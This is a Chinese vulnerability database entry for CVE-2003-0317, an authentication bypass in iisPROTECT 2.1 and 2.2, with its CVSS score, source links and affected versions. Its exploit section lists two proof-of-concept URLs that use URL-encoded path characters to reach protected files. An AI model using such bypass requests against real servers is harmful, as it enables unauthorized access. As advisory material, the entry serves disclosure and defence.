iisPROTECT绕过认证漏洞

漏洞ID	1107342	漏洞类型	未知
发布时间	2003-05-22	更新时间	2003-12-31
CVE编号	CVE-2003-0317	CNNVD-ID	CNNVD-200312-298
漏洞平台	Windows	CVSS评分	7.5

|漏洞来源

https://www.exploit-db.com/exploits/22631
https://www.securityfocus.com/bid/87133
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200312-298

|漏洞详情

iisPROTECT2.1和2.2版本存在漏洞。远程攻击者借助包含URL-encoded字符的HTTP请求绕过认证。

|漏洞EXP

source: http://www.securityfocus.com/bid/7661/info


http://www.example.com/%70rotected/secret.html
http://www.example.com/protected%2fsecret.html

|受影响的产品

iisProtect iisProtect 2.2

iisProtect iisProtect 2.1

|参考资料

来源:IDEFENSE
名称:20030522AuthenticationBypassiniisPROTECT
链接:http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=25

相关推荐: Namazu Search System Cross-Site Scripting Vulnerability

Namazu Search System Cross-Site Scripting Vulnerability 漏洞ID 1102754 漏洞类型 Input Validation Error 发布时间 2001-11-26 更新时间 2001-11-26 C…